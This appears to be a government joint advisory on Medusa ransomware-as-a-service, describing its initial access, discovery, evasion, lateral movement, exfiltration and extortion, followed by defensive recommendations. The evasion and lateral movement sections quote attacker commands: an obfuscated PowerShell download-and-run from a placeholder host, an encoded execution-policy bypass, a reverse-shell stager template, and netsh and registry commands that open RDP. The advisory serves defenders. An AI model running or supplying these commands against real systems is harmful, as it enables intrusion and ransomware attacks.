Medusa Ransomware Hits Record Levels

Summary

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025.

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

■ Phishing campaigns as a primary method for stealing victim credentials [T1566].

■ Exploitation of unpatched software vulnerabilities [T1190] through Common Vulnerabilities and Exposures (CVEs) such as the ScreenConnect vulnerability CVE-2024-1709 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and Fortinet EMS SQL injection vulnerability [CVE-2023-48788 [CWE 89: SQL Injection].

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

■ 21 (FTP)

■ 22 (SSH)

■ 23 (Telnet)

■ 80 (HTTP)

■ 115 (SFTP)

■ 443 (HTTPS)

■ 1433 (SQL database)

■ 3050 (Firebird database)

■ 3128 (HTTP web proxy)

■ 3306 (MySQL database)

■ 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

■ powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

■ powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

■ powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((

■ New-Object System.IO.StreamReader(

■ New-Object System.IO.Compression.GzipStream((

■ New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(

■ (('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

■ Ligolo.

■ A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.

■ Cloudflared.

■ Formerly known as ArgoTunnel.

■ Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

■ Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).

■ Execute an already existing local file on a remote machine with SYSTEM level privileges.

■ Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

■ netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

■ netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

■ reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Recomendation

FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

■ Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].

■ Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].

■ Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].

■ Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].

■ Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].

■ Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].

■ Require VPNs or Jump Hosts for remote access.

■ Monitor for unauthorized scanning and access attempts.

■ Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.

■ Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].

■ Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].

■ Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].

■ Disable unused ports[CPG 2.V].

■ Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.

Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].